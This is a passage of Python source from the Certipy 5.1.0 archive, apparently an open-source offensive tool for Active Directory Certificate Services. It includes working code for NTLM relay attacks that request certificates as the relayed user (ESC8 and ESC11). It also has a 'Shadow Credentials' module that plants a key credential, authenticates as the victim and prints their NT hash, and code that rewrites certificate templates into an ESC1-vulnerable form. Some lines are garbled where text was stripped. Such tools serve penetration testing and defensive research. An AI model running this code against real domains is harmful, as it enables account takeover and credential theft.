logging.info("Retrieved CAX certificate") csr = create_key_archival(csr, key, cax_cert) csr = base64.b64encode(csr).decode() csr = f"-----BEGIN PKCS7-----\n{csr}\n-----END PKCS7-----" else: csr = csr_to_pem(csr).decode() # Build certificate attributes attributes = create_csr_attributes( template, alt_dns=self.adcs_relay.alt_dns, alt_upn=self.adcs_relay.alt_upn, alt_sid=self.adcs_relay.alt_sid, ) result = web_request( self.client, self.client.user, csr, attributes, template, key, self.adcs_relay.out, ) if result is not None: handle_request_response( result, key, self.client.user, self.adcs_relay.subject, self.adcs_relay.alt_sid, self.adcs_relay.out, self.adcs_relay.pfx_password, ) return self.finish_run() def finish_run(self) -> None: """ Clean up after attack completion. """ self.adcs_relay.attacked_targets.append(self.client.user) if not self.adcs_relay.forever: self.adcs_relay.shutdown() class ADCSRPCAttackClient(ProtocolAttack): """ Attack client for RPC-based AD CS certificate requests. This class handles certificate operations via the RPC interface. """ def __init__( self, adcs_relay: "Relay", config: NTLMRelayxConfig, dce: Any, username: str ): """ Initialize the RPC attack client. Args: adcs_relay: The parent Relay object config: NTLMRelayxConfig object with relay settings dce: DCE/RPC connection username: Username of the relayed user """ super().__init__(config, dce, username) self.adcs_relay = adcs_relay self.dce = dce self.rpctransport = dce.get_rpc_transport() self.stringbinding = self.rpctransport.get_stringbinding() # Parse domain and username try: if "/" in username: self.domain, self.username = username.split("/") else: self.domain, self.username = "Unknown", username except Exception as e: logging.error(f"Error parsing username {username}: {e}") handle_error() self.domain, self.username = "Unknown", username def run(self) -> None: # type: ignore """ Execute the certificate request attack with proper locking. """ while not self.adcs_relay.attack_lock.acquire(): time.sleep(0.1) # Initialize RPC interface self.interface = RPCRequestInterface(parent=self.adcs_relay.request) self.interface._dce = self.dce try: self._run() except Exception as e: logging.error(f"Failed to run attack: {e}") handle_error() finally: self.adcs_relay.attack_lock.release() def _run(self) -> None: """ Main attack logic - request or retrieve a certificate for the relayed user. """ # Check if we've already attacked this target and should skip full_username = f"{self.username}@{self.domain}" if ( not self.adcs_relay.no_skip and full_username in self.adcs_relay.attacked_targets ): logging.info( f"Skipping user {full_username!r} since attack was already performed" ) return logging.info(f"Attacking user {full_username!r}") # Handle certificate retrieval or request request_id = self.adcs_relay.request_id if request_id: _ = self.retrieve() else: _ = self.request() self.finish_run() def retrieve(self) -> bool: """ Retrieve a certificate by request ID. Returns: True on success, False on failure """ if self.adcs_relay.request_id is None: logging.error("Request ID was not defined") return False request_id = int(self.adcs_relay.request_id) logging.info(f"Retrieving certificate for request id {request_id}") cert = self.interface.retrieve(request_id) if cert is None: logging.error("Failed to retrieve certificate") return False return handle_retrieve( cert, request_id, self.username, out=self.adcs_relay.out, pfx_password=self.adcs_relay.pfx_password, ) def request(self) -> Union[bool, Tuple[bytes, str]]: """ Request a new certificate for the relayed user. Returns: Tuple of (PFX data, filename) on success, False on failure """ # Choose appropriate template based on username template = self.config.template if template is None: logging.info("Template was not defined. Defaulting to Machine/User") template = "Machine" if self.username.endswith("$") else "User" logging.info( f"Requesting certificate for user {self.username!r} with template {template!r}" ) # Generate certificate signing request csr, key = create_csr( self.username, alt_dns=self.adcs_relay.alt_dns, alt_upn=self.adcs_relay.alt_upn, alt_sid=self.adcs_relay.alt_sid, subject=self.adcs_relay.subject, key_size=self.adcs_relay.key_size, application_policies=self.adcs_relay.application_policies, smime=self.adcs_relay.smime, ) self.interface.parent.key = key # Handle key archival if specified if self.adcs_relay.archive_key: logging.info( f"Trying to retrieve CAX certificate from file {self.adcs_relay.archive_key}" ) with open(self.adcs_relay.archive_key, "rb") as f: cax_cert = f.read() cax_cert = der_to_cert(cax_cert) logging.info("Retrieved CAX certificate") csr_data = create_key_archival(csr, key, cax_cert) else: csr_data = csr_to_der(csr) # Build certificate attributes attributes = create_csr_attributes( template, alt_dns=self.adcs_relay.alt_dns, alt_upn=self.adcs_relay.alt_upn, alt_sid=self.adcs_relay.alt_sid, ) # Submit certificate request cert = self.interface.request(csr_data, attributes) if cert is None: logging.error("Failed to request certificate") return False return handle_request_response( cert, key, self.username, self.adcs_relay.subject, self.adcs_relay.alt_sid, self.adcs_relay.out, self.adcs_relay.pfx_password, ) def finish_run(self) -> None: """ Clean up after attack completion. """ self.adcs_relay.attacked_targets.append(f"{self.username}@{self.domain}") if not self.adcs_relay.forever: self.adcs_relay.shutdown() class Relay: """ Main class for orchestrating NTLM relay attacks against AD CS. This class coordinates the relay servers and attack clients to obtain certificates by relaying NTLM authentication. """ def __init__( self, target: str, ca: Optional[str] = None, template: Optional[str] = None, upn: Optional[str] = None, dns: Optional[str] = None, sid: Optional[str] = None, subject: Optional[str] = None, application_policies: Optional[List[str]] = None, smime: Optional[str] = None, archive_key: Optional[str] = None, pfx_password: Optional[str] = None, retrieve: Optional[int] = None, key_size: int = 2048, out: Optional[str] = None, interface: str = "0.0.0.0", port: int = 445, forever: bool = False, no_skip: bool = False, timeout: int = 5, enum_templates: bool = False, **kwargs, # type: ignore ): """ Initialize the NTLM relay attack. Args: target: Target AD CS server (http://server/certsrv/ or rpc://server) ca: Certificate Authority name (required for RPC) template: Certificate template to request upn: Alternative UPN (User Principal Name) dns: Alternative DNS name sid: Alternative SID (Security Identifier) subject: Certificate subject name application_policies: List of application policy OIDs smime: SMIME capability identifier archive_key: Path to CAX certificate for key archival pfx_password: Password for PFX file retrieve: Request ID to retrieve instead of requesting a new certificate key_size: RSA key size in bits out: Output file base name interface: Network interface to listen on port: Port to listen on for NTLM relay forever: Continue listening for new connections after successful attack no_skip: Don't skip already attacked targets timeout: Connection timeout in seconds enum_templates: Enumerate available templates instead of requesting certificate kwargs: Additional arguments """ self.target = target self.base_url = target # Used only for HTTP(S) targets self.ca = ca self.template = template self.alt_upn = upn self.alt_dns = dns self.alt_sid = sid self.subject = subject self.archive_key = archive_key self.pfx_password = pfx_password self.request_id = int(retrieve) if retrieve else None self.key_size = key_size self.out = out self.forever = forever self.no_skip = no_skip self.timeout = timeout self.interface = interface self.port = port self.enum_templates = enum_templates self.kwargs = kwargs self.key: Optional[rsa.RSAPrivateKey] = None # Convert application policy names to OIDs self.application_policies = [ OID_TO_STR_NAME_MAP.get(policy.lower(), policy) for policy in (application_policies or []) ] self.smime = smime self._request: Optional[Request] = None self.attacked_targets = [] self.attack_lock = Lock() # Configure target based on URL or RPC string if self.target.startswith("rpc://"): if ca is None: logging.error("A certificate authority is required for RPC attacks") exit(1) logging.info(f"Targeting {target} (ESC11)") else: # Format HTTP target URL if not self.target.startswith("http://") and not self.target.startswith( "https://" ): self.target = f"http://{self.target}" if not self.target.endswith("/certsrv/certfnsh.asp"): if not self.target.endswith("/"): self.target += "/" if self.enum_templates: self.target += "certsrv/certrqxt.asp" else: self.target += "certsrv/certfnsh.asp" logging.info(f"Targeting {self.target} (ESC8)") url = httpx.URL(self.target) if not url.is_absolute_url: logging.error( f"Invalid target URL. Expected format: http(s)://server/path, got {self.target}" ) exit(1) self.base_url = f"{url.scheme}://{url.host}" # Configure impacket relay target target_processor = TargetsProcessor( singleTarget=self.target, protocolClients={ "HTTP": self.get_relay_http_server, "HTTPS": self.get_relay_http_server, "RPC": self.get_relay_rpc_server, }, ) # Configure relay config = NTLMRelayxConfig() config.setTargets(target_processor) config.setDisableMulti(True) config.setIsADCSAttack(True) config.setADCSOptions(self.template) config.setAttacks( { "HTTP": self.get_attack_http_client, "HTTPS": self.get_attack_http_client, "RPC": self.get_attack_rpc_client, } ) config.setProtocolClients( { "HTTP": self.get_relay_http_server, "HTTPS": self.get_relay_http_server, "RPC": self.get_relay_rpc_server, } ) config.setListeningPort(port) config.setInterfaceIp(interface) config.setSMB2Support(True) config.setMode("RELAY") self.server = SMBRelayServer(config) @property def request(self) -> Request: """ Get the current request object. Returns: The current request object """ if not self._request is None: return self._request self._request = Request( Target( DnsResolver.create(), timeout=self.timeout, ), ca=self.ca, template=self.template or "", upn=self.alt_upn, dns=self.alt_dns, sid=self.alt_sid, key_size=self.key_size, retrieve=self.request_id, out=self.out, ) return self._request def start(self) -> None: """ Start the relay server and wait for connections. """ logging.info(f"Listening on {self.interface}:{self.port}") self.server.start() try: # Main loop - wait for connections while True: time.sleep(0.1) except KeyboardInterrupt: print("") self.shutdown() except Exception as e: logging.error(f"Received error while running relay server: {e}") handle_error() def get_relay_http_server(self, *args, **kwargs) -> ADCSHTTPRelayServer: # type: ignore """ Factory method to create an HTTP relay server. Returns: Configured HTTP relay server """ return ADCSHTTPRelayServer(self, *args, **kwargs) def get_attack_http_client(self, *args, **kwargs) -> ADCSHTTPAttackClient: # type: ignore """ Factory method to create an HTTP attack client. Returns: Configured HTTP attack client """ return ADCSHTTPAttackClient(self, *args, **kwargs) def get_relay_rpc_server(self, *args, **kwargs) -> ADCSRPCRelayServer: # type: ignore """ Factory method to create an RPC relay server. Returns: Configured RPC relay server """ return ADCSRPCRelayServer(*args, **kwargs) def get_attack_rpc_client(self, *args, **kwargs) -> ADCSRPCAttackClient: # type: ignore """ Factory method to create an RPC attack client. Returns: Configured RPC attack client """ return ADCSRPCAttackClient(self, *args, **kwargs) def shutdown(self) -> None: """ Gracefully shut down the relay server. """ logging.info("Exiting...") os._exit(0) def entry(options: argparse.Namespace) -> None: """ Command-line entry point for relay functionality. Args: options: Command line arguments """ # Initialize logging from Impacket _impacket_logger.init() relay = Relay(**vars(options)) relay.start() Certipy-5.1.0/certipy/commands/req.py000066400000000000000000000040171521657466500176000ustar00rootroot00000000000000""" Certificate request module for Certipy. This module provides functionality for: - Requesting certificates from Active Directory Certificate Services (AD CS) - Retrieving pending or issued certificates - Supporting various request methods (RPC, DCOM, Web Enrollment) - Handling certificate templates and custom attributes - Supporting certificate renewal, key archival, and on-behalf-of requests Key components: - Request: Main class for certificate operations - RequestInterface: Abstract base class for different request protocols - RPCRequestInterface: Certificate requests via MS-ICPR - DCOMRequestInterface: Certificate requests via DCOM - WebRequestInterface: Certificate requests via Web Enrollment """ import argparse from certipy.lib.files import try_to_save_file from certipy.lib.logger import logging from certipy.lib.req import Request from certipy.lib.target import Target # ========================================================================= # Command-line entry point # ========================================================================= def entry(options: argparse.Namespace) -> None: """ Command-line entry point for certificate operations. Args: options: Command-line arguments """ # Create target from options target = Target.from_options(options) options.__delattr__("target") # Create request object request = Request(target=target, **vars(options)) # Handle CAX certificate retrieval if options.cax_cert: if not options.out: logging.error("Please specify an output file for the CAX certificate!") return cax = request.get_cax() if isinstance(cax, bytes): logging.info(f"Saving CAX certificate to {options.out!r}") output_path = try_to_save_file(cax, options.out) logging.info(f"Wrote CAX certificate to {output_path!r}") return # Handle certificate retrieval or request if options.retrieve: _ = request.retrieve() else: _ = request.request() Certipy-5.1.0/certipy/commands/shadow.py000077500000000000000000000665231521657466500203130ustar00rootroot00000000000000""" Shadow Authentication Module for Certipy. This module provides functionality for manipulating Key Credentials in Active Directory: - Adding new Key Credentials to user accounts - Retrieving NT hash using Key Credential authentication - Listing, removing, and clearing Key Credentials - Getting detailed information about specific Key Credentials The Key Credential technique (also known as "Shadow Credentials") allows an attacker with write access to a user's msDS-KeyCredentialLink attribute to authenticate as that user by adding a certificate-based credential. References: - https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab """ import argparse import datetime import struct from typing import List, Optional, Tuple, Union import ldap3 from cryptography.hazmat.primitives.asymmetric.types import PrivateKeyTypes from impacket.examples.ntlmrelayx.utils import shadow_credentials from certipy.lib.certificate import create_pfx, x509 from certipy.lib.errors import handle_error from certipy.lib.files import try_to_save_file from certipy.lib.ldap import LDAPConnection, LDAPEntry from certipy.lib.logger import logging from certipy.lib.target import Target from .auth import Authenticate class Shadow: """ Shadow Authentication class for manipulating Key Credentials in Active Directory. This class enables various operations related to Key Credentials including: - Auto mode: Add Key Credential, authenticate, retrieve NT hash, then restore original state - Add: Add a new Key Credential to a user account - List: Show all Key Credentials for a user - Clear: Remove all Key Credentials from a user - Remove: Delete a specific Key Credential identified by its Device ID - Info: Show detailed information about a specific Key Credential """ def __init__( self, target: Target, account: str, device_id: Optional[str] = None, out: Optional[str] = None, connection: Optional[LDAPConnection] = None, **kwargs, # type: ignore ): """ Initialize the Shadow Authentication module. Args: target: Target information including domain, username, and authentication details account: Account to target for Key Credential operations device_id: Device ID for operations that require targeting a specific Key Credential out: Output file path for saving PFX files scheme: LDAP connection scheme (ldap or ldaps) connection: Optional existing LDAP connection kwargs: Additional arguments """ self.target = target self.account = account self.device_id = device_id self.out = out self.kwargs = kwargs self._connection = connection @property def connection(self) -> LDAPConnection: """ Get or establish an LDAP connection to the domain. Returns: Active LDAP connection Raises: Exception: If connection fails """ if self._connection is not None: return self._connection self._connection = LDAPConnection(self.target) self._connection.connect() return self._connection def get_key_credentials( self, target_dn: str, user: LDAPEntry ) -> Optional[List[bytes]]: """ Retrieve the current Key Credentials for a user. Args: target_dn: Distinguished name of the target user user: LDAP user entry Returns: List of Key Credential binary values or None on failure """ results = self.connection.search( search_base=target_dn, search_filter="(objectClass=*)", search_scope=ldap3.BASE, attributes=["SAMAccountName", "objectSid", "msDS-KeyCredentialLink"], ) if len(results) == 0: logging.error( f"Could not get the Key Credentials for {user.get('sAMAccountName')!r}" ) return None result = results[0] return result.get("msDS-KeyCredentialLink") def set_key_credentials( self, target_dn: str, user: LDAPEntry, key_credential: List[Union[bytes, str]] ) -> bool: """ Set new Key Credentials for a user. Args: target_dn: Distinguished name of the target user user: LDAP user entry key_credential: List of Key Credential binary values to set Returns: True on success, False on failure """ result = self.connection.modify( target_dn, {"msDS-KeyCredentialLink": [ldap3.MODIFY_REPLACE, key_credential]}, ) if result["result"] == 0: return True # Handle specific error cases with helpful messages if result["result"] == 50: logging.error( f"Could not update Key Credentials for {user.get('sAMAccountName')!r} " f"due to insufficient access rights: {result['message']}" ) elif result["result"] == 19: logging.error( f"Could not update Key Credentials for {user.get('sAMAccountName')!r} " f"due to a constraint violation: {result['message']}" ) else: logging.error( f"Failed to update the Key Credentials for {user.get('sAMAccountName')!r}: " f"{result['message']}" ) return False def generate_key_credential( self, subject: str ) -> Tuple[ PrivateKeyTypes, x509.Certificate, shadow_credentials.KeyCredential, str ]: """ Generate a new certificate and Key Credential object. Args: subject: Certificate subject name Returns: Tuple containing (key, cert, key_credential, device_id) """ logging.info("Generating certificate") # Ensure subject is not too long for AD if len(subject) >= 64: logging.warning("Subject too long. Limiting subject to 64 characters.") subject = subject[:64] # Generate a certificate valid for a long time (-40 to +40 years) key, cert = shadow_credentials.createSelfSignedX509Certificate( subject=subject, kSize=2048, # Key size ) logging.info("Certificate generated") # Create a Key Credential from the certificate logging.info("Generating Key Credential") device_id = shadow_credentials.getDeviceId() # Generate a random device ID key_credential = shadow_credentials.KeyCredential( key=key, deviceId=device_id, currentTime=now_ticks(), ) device_id = device_id.hex() logging.info(f"Key Credential generated with DeviceID {device_id!r}") return (key, cert, key_credential, device_id) def add_new_key_credential(self, target_dn: str, user: LDAPEntry) -> Optional[ Tuple[ PrivateKeyTypes, x509.Certificate, List[Union[bytes, str]], List[bytes], str, ] ]: """ Add a new Key Credential to a user. Args: target_dn: Distinguished name of the target user user: LDAP user entry Returns: Tuple containing (key, cert, new_key_credential, saved_key_credential, device_id) or None on failure """ # Generate a new Key Credential sam_account_name = self._get_sam_account_name(user) key, cert, key_credential, device_id = self.generate_key_credential( sam_account_name ) # Get the existing Key Credentials saved_key_credential = self.get_key_credentials(target_dn, user) if saved_key_credential is None: saved_key_credential = [] # Create a new list including our new Key Credential new_key_credential = saved_key_credential + [ shadow_credentials.toDNWithBinary2String( key_credential.dumpBinary(), target_dn, ) ] logging.info( f"Adding Key Credential with device ID {device_id!r} to the Key Credentials for " f"{user.get('sAMAccountName')!r}" ) # Update the user's Key Credentials result = self.set_key_credentials(target_dn, user, new_key_credential) if result is False: return None logging.info( f"Successfully added Key Credential with device ID {device_id!r} to the Key Credentials for " f"{user.get('sAMAccountName')!r}" ) return (key, cert, new_key_credential, saved_key_credential, device_id) def _get_target_dn(self, user: LDAPEntry) -> Optional[str]: """ Get the distinguished name from a user entry and validate it. Args: user: LDAP user entry Returns: Distinguished name string or None if invalid """ target_dn = user.get("distinguishedName") if not isinstance(target_dn, str): logging.error( "Target DN is not a string. Cannot proceed with the operation." ) return None return target_dn def _get_sam_account_name(self, user: LDAPEntry) -> str: """ Get the SAM account name from a user entry. Args: user: LDAP user entry Returns: SAM account name string """ sam_account_name = user.get("sAMAccountName") if not isinstance(sam_account_name, str): logging.warning( "SAM account name is not a string. Falling back to the account name." ) return self.account return sam_account_name def auto(self) -> Optional[str]: """ Automatically add a Key Credential, authenticate, get NT hash, and restore original state. This is the most common attack scenario - adding a temporary Key Credential, using it to authenticate and get the NT hash, then cleaning up by restoring the original Key Credentials. Returns: NT hash string on success, False on failure """ # Get the target user user = self.connection.get_user(self.account) if user is None: return None sam_account_name = self._get_sam_account_name(user) logging.info(f"Targeting user {sam_account_name!r}") # Get and validate the distinguished name target_dn = self._get_target_dn(user) if not target_dn: return None # Add a new Key Credential result = self.add_new_key_credential(target_dn, user) if result is None: return None # Unpack the result key, cert, _, saved_key_credential, _ = result # Authenticate with the new Key Credential sam_account_name = self._get_sam_account_name(user) logging.info(f"Authenticating as {sam_account_name!r} with the certificate") authenticate = Authenticate(self.target, cert=cert, key=key) _ = authenticate.authenticate( username=sam_account_name, is_key_credential=True, domain=self.connection.domain, ) # Cleanup by restoring the original Key Credentials logging.info(f"Restoring the old Key Credentials for {sam_account_name!r}") result = self.set_key_credentials(target_dn, user, saved_key_credential) # type: ignore if result is True: logging.info( f"Successfully restored the old Key Credentials for {sam_account_name!r}" ) # Return the obtained NT hash logging.info(f"NT hash for {sam_account_name!r}: {authenticate.nt_hash}") return authenticate.nt_hash def add(self) -> bool: """ Add a new Key Credential to a user and save the certificate as a PFX file. Returns: True on success, False on failure """ # Get the target user user = self.connection.get_user(self.account) if user is None: return False sam_account_name = self._get_sam_account_name(user) logging.info(f"Targeting user {sam_account_name!r}") # Get and validate the distinguished name target_dn = self._get_target_dn(user) if not target_dn: return False # Add a new Key Credential result = self.add_new_key_credential(target_dn, user) if result is None: return False # Unpack the result key, cert, _, _, _ = result # Determine output filename out = self.out if out is None: sam_account_name = self._get_sam_account_name(user) out = f"{sam_account_name.rstrip('$')}.pfx" # Create and save PFX pfx = create_pfx(key, cert) logging.info(f"Saving certificate and private key to {out!r}") out = try_to_save_file( pfx, out, ) logging.info(f"Saved certificate and private key to {out!r}") return True def list(self) -> bool: """ List all Key Credentials for a user. Returns: True if Key Credentials were found and listed, False otherwise """ # Get the target user user = self.connection.get_user(self.account) if user is None: return False sam_account_name = self._get_sam_account_name(user) logging.info(f"Targeting user {sam_account_name!r}") # Get and validate the distinguished name target_dn = self._get_target_dn(user) if not target_dn: return False # Get the Key Credentials key_credentials = self.get_key_credentials(target_dn, user) if key_credentials is None: return False # Handle empty Key Credentials if len(key_credentials) == 0: logging.info( f"The Key Credentials attribute for {sam_account_name!r} " f"is either empty or the current user does not have read permissions for the attribute" ) return False # List the Key Credentials logging.info(f"Listing Key Credentials for {sam_account_name!r}") for dn_binary_value in key_credentials: key_credential_device_id, key_credential_creation_time = ( get_device_id_and_creation_from_binary(dn_binary_value) ) creation_time = ( ticks_to_datetime(key_credential_creation_time) if key_credential_creation_time else None ) creation_time_str = ( creation_time.strftime("%Y-%m-%d %H:%M:%S") if creation_time else "Unknown" ) logging.info( f"DeviceID: {key_credential_device_id or "Unknown"} | " f"Creation Time (UTC): {creation_time_str}" ) return True def clear(self) -> bool: """ Clear all Key Credentials for a user. Returns: True on success, False on failure """ # Get the target user user = self.connection.get_user(self.account) if user is None: return False sam_account_name = self._get_sam_account_name(user) logging.info(f"Targeting user {sam_account_name!r}") # Get and validate the distinguished name target_dn = self._get_target_dn(user) if not target_dn: return False # Clear the Key Credentials logging.info(f"Clearing the Key Credentials for {sam_account_name!r}") result = self.set_key_credentials(target_dn, user, []) if result is True: logging.info( f"Successfully cleared the Key Credentials for {sam_account_name!r}" ) return result def remove(self) -> bool: """ Remove a specific Key Credential identified by its Device ID. Returns: True on success, False on failure """ # Ensure a device ID was provided if self.device_id is None: logging.error( "A device ID (-device-id) is required for the remove operation" ) return False # Get the target user user = self.connection.get_user(self.account) if user is None: return False sam_account_name = self._get_sam_account_name(user) logging.info(f"Targeting user {sam_account_name!r}") # Get and validate the distinguished name target_dn = self._get_target_dn(user) if not target_dn: return False # Get the Key Credentials key_credentials = self.get_key_credentials(target_dn, user) if key_credentials is None: return False # Handle empty Key Credentials if len(key_credentials) == 0: logging.info( f"The Key Credentials attribute for {sam_account_name!r} " f"is either empty or the current user does not have read permissions for the attribute" ) return True # Find and remove the specified Key Credential device_id = self.device_id new_key_credentials = [] device_id_in_current_values = False for dn_binary_value in key_credentials: key_credential_device_id, _ = get_device_id_and_creation_from_binary( dn_binary_value ) if key_credential_device_id == device_id: logging.info( f"Found device ID {device_id!r} in Key Credentials {sam_account_name!r}" ) device_id_in_current_values = True else: new_key_credentials.append(dn_binary_value) # Update the Key Credentials if the specified Device ID was found if device_id_in_current_values: logging.info( f"Deleting the Key Credential with device ID {device_id!r} " f"in Key Credentials for {sam_account_name!r}" ) result = self.set_key_credentials(target_dn, user, new_key_credentials) if result is True: logging.info( f"Successfully deleted the Key Credential with device ID {device_id!r} " f"in Key Credentials for {sam_account_name!r}" ) return result else: logging.error( f"Could not find device ID {device_id!r} in Key Credentials for " f"{sam_account_name!r}" ) return False def info(self) -> bool: """ Show detailed information about a specific Key Credential. Returns: True if the Key Credential was found and info displayed, False otherwise """ # Ensure a device ID was provided if self.device_id is None: logging.error("A device ID (-device-id) is required for the info operation") return False # Get the target user user = self.connection.get_user(self.account) if user is None: return False sam_account_name = self._get_sam_account_name(user) logging.info(f"Targeting user {sam_account_name!r}") # Get and validate the distinguished name target_dn = self._get_target_dn(user) if not target_dn: return False # Get the Key Credentials key_credentials = self.get_key_credentials(target_dn, user) if key_credentials is None: return False # Handle empty Key Credentials if len(key_credentials) == 0: logging.info( f"The Key Credentials attribute for {sam_account_name!r} " f"is either empty or the current user does not have read permissions for the attribute" ) return True # Find the specified Key Credential and display its info device_id = self.device_id for dn_binary_value in key_credentials: key_credential_device_id, key_credential_creation_time = ( get_device_id_and_creation_from_binary(dn_binary_value) ) if key_credential_device_id is None: logging.error( f"Failed to extract Device ID from Key Credential binary for {sam_account_name!r}" ) return False if key_credential_creation_time is None: logging.error( f"Failed to extract Creation Time from Key Credential binary for {sam_account_name!r}" ) return False if key_credential_device_id == device_id: logging.info( f"Found device ID {device_id!r} in Key Credentials {sam_account_name!r}" ) creation_time = ticks_to_datetime(key_credential_creation_time) creation_time_str = ( creation_time.strftime("%Y-%m-%d %H:%M:%S") if creation_time else "Unknown" ) logging.info( f"DeviceID: {key_credential_device_id} | " f"Creation Time (UTC): {creation_time_str}" ) return True logging.error( f"Could not find device ID {device_id!r} in Key Credentials for " f"{sam_account_name!r}" ) return False def unpack_data(data: bytes) -> List[Tuple[int, bytes]]: """ Unpack binary data into a list of (field_type, field_value) tuples. This function parses the Key Credential binary format by reading fields consisting of a 2-byte length, 1-byte type, and variable-length value. Args: data: Binary data to unpack (Key Credential binary) Returns: List of tuples containing field type and value """ fields = [] # Skip the first 4 bytes which contain the version information offset = 4 while offset < len(data): # Each field has a 2-byte length and 1-byte type header length, field_type = struct.unpack(" bytes: """ Convert a DNWithBinary string to its binary representation. DNWithBinary format: "B:::" Example: "B:826:4e544c4d5353500001....:CN=User,DC=domain,DC=com" Args: dn_with_binary: DNWithBinary string or bytes Returns: Binary representation of the DNWithBinary Raises: ValueError: If the DNWithBinary format is invalid """ if isinstance(dn_with_binary, bytes): # Convert bytes to string if needed dn_with_binary = dn_with_binary.decode() # DNWithBinary format is "B:::" parts = dn_with_binary.split(":") if len(parts) != 4: raise ValueError( f"Invalid DNWithBinary format: expected 4 parts but got {len(parts)}" ) # Extract and validate the binary data length = int(parts[1]) hex_data = parts[2] if len(hex_data) != length: raise ValueError( f"Hex data length mismatch: stated {length} but actual {len(hex_data)}" ) # Convert hex string to binary data return bytes.fromhex(hex_data) def get_device_id_and_creation_from_binary( key_credential: bytes, ) -> Tuple[Optional[str], Optional[int]]: """ Extract Device ID and Creation Time from a Key Credential binary. Args: key_credential: Key Credential binary data or DNWithBinary string/bytes Returns: Tuple containing (device_id, creation_time) where: - device_id is a hex string - creation_time is Windows ticks (100ns intervals since Jan 1, 1601) Returns (None, None) if extraction fails """ try: # Convert from DNWithBinary format if needed key_credential_binary = binary_data_from_dn_with_binary(key_credential) # Parse the binary data into fields fields = unpack_data(key_credential_binary) # Extract device ID and creation time from fields device_id = None creation_time = None for field_type, field_value in fields: if field_type == 0x6: # Device ID field device_id = field_value.hex() elif field_type == 0x9: # Creation time field (8-byte Windows timestamp) creation_time = struct.unpack(" int: """ Get the current time in Windows ticks (100ns intervals since Jan 1, 1601 UTC). Used for creating timestamps in Key Credential objects. Returns: Current time as Windows ticks """ # Windows ticks: 100ns intervals since January 1, 1601 UTC windows_epoch = datetime.datetime(1601, 1, 1, tzinfo=datetime.timezone.utc) now = datetime.datetime.now(datetime.timezone.utc) # Convert seconds to 100ns intervals (multiply by 10M) return int((now - windows_epoch).total_seconds() * 1e7) def ticks_to_datetime(ticks: int) -> datetime.datetime: """ Convert Windows ticks to a UTC datetime object. Args: ticks: Number of 100ns intervals since January 1, 1601 UTC Returns: UTC datetime object """ windows_epoch = datetime.datetime(1601, 1, 1, tzinfo=datetime.timezone.utc) # Convert ticks (100ns intervals) to microseconds by dividing by 10 delta_microseconds = ticks / 10 return windows_epoch + datetime.timedelta(microseconds=delta_microseconds) def entry(options: argparse.Namespace) -> None: """ Command-line entry point for Shadow Authentication operations. Args: options: Command-line arguments """ # Create target from options target = Target.from_options(options) # Use provided account or default to the authenticated username account = options.account if account is None: account = target.username if account is None: logging.error("An account (-account) is required") return # Remove processed options options.__delattr__("account") options.__delattr__("target") # Create Shadow instance shadow = Shadow(target=target, account=account, **vars(options)) # Map actions to methods actions = { "auto": shadow.auto, # Add Key Credential, authenticate, get NT hash, restore "add": shadow.add, # Add Key Credential and save PFX "list": shadow.list, # List all Key Credentials "clear": shadow.clear, # Remove all Key Credentials "remove": shadow.remove, # Remove specific Key Credential "info": shadow.info, # Show info about specific Key Credential } # Execute the requested action actions[options.shadow_action]() Certipy-5.1.0/certipy/commands/template.py000077500000000000000000000466751521657466500206470ustar00rootroot00000000000000""" Certificate Template Management Module. This module implements the functionality to view and modify Active Directory certificate templates, allowing security assessment and exploitation of misconfigured templates in AD CS environments. """ import argparse import collections import json from itertools import groupby from typing import Any, Dict, Optional import ldap3 from ldap3.core.results import RESULT_INSUFFICIENT_ACCESS_RIGHTS from ldap3.protocol.microsoft import security_descriptor_control from ldap3.utils.conv import escape_filter_chars from certipy.lib.constants import ( OID_TO_STR_NAME_MAP, CertificateNameFlag, EnrollmentFlag, PrivateKeyFlag, TemplateFlags, ) from certipy.lib.files import try_to_save_file from certipy.lib.ldap import LDAPConnection, LDAPEntry from certipy.lib.logger import logging from certipy.lib.security import create_sd from certipy.lib.target import Target from certipy.lib.time import ( SECONDS_PER_WEEK, SECONDS_PER_YEAR, filetime_to_span, span_to_filetime, ) # Attributes that should not be modified to avoid breaking template functionality PROTECTED_ATTRIBUTES = [ "objectClass", "cn", "distinguishedName", "whenCreated", "whenChanged", "name", "objectGUID", "objectCategory", "dSCorePropagationData", "msPKI-Cert-Template-OID", "uSNCreated", "uSNChanged", "displayName", "instanceType", "revision", "msPKI-Template-Schema-Version", "msPKI-Template-Minor-Revision", ] def create_esc1_template(sid: str) -> dict[str, Any]: """ ESC1 vulnerable template configuration with full control for the passed sid. This configuration creates a template that allows `sid` to enroll and obtain certificates with client authentication EKU. """ return { "showInAdvancedViewOnly": True, # Security descriptor giving `sid` full control "nTSecurityDescriptor": create_sd(sid).getData(), "flags": int( TemplateFlags.PUBLISH_TO_DS | TemplateFlags.EXPORTABLE_KEY | TemplateFlags.AUTO_ENROLLMENT | TemplateFlags.ADD_TEMPLATE_NAME | TemplateFlags.IS_DEFAULT ), # Template flags "pKIDefaultKeySpec": 2, # AT_SIGNATURE "pKIKeyUsage": b"\x86\x00", # Digital Signature, Key Encipherment "pKIMaxIssuingDepth": -1, # Maximum depth value for the Basic Constraint extension (-1 means no limit) "pKICriticalExtensions": [ "2.5.29.19", # Basic Constraints "2.5.29.15", # Key Usage ], # Critical extensions "pKIExpirationPeriod": span_to_filetime(SECONDS_PER_YEAR), # 1 year validity "pKIOverlapPeriod": span_to_filetime(SECONDS_PER_WEEK * 6), # 6 week overlap "pKIExtendedKeyUsage": [ OID_TO_STR_NAME_MAP["client authentication"], ], "msPKI-Certificate-Application-Policy": [ OID_TO_STR_NAME_MAP["client authentication"], ], "pKIDefaultCSPs": [ "2,Microsoft Base Cryptographic Provider v1.0", "1,Microsoft Enhanced Cryptographic Provider v1.0", ], "msPKI-RA-Signature": 0, # No recovery agent signatures required "msPKI-Enrollment-Flag": int( EnrollmentFlag.NONE ), # No special enrollment flags "msPKI-Private-Key-Flag": int(PrivateKeyFlag.EXPORTABLE_KEY), # Allow export "msPKI-Certificate-Name-Flag": int( CertificateNameFlag.ENROLLEE_SUPPLIES_SUBJECT ), # Name flags "msPKI-Minimal-Key-Size": 2048, # Minimum 2048-bit key } TRANSFORMERS = { "pKIOverlapPeriod": (filetime_to_span, span_to_filetime), "pKIExpirationPeriod": (filetime_to_span, span_to_filetime), } def default_into_transformer(value: Any) -> Any: """ Default transformer function that returns the value unchanged. Args: value: The value to transform Returns: The original value """ if isinstance(value, list): return [default_into_transformer(item) for item in value] if isinstance(value, bytes): return "HEX:" + value.hex() return value def 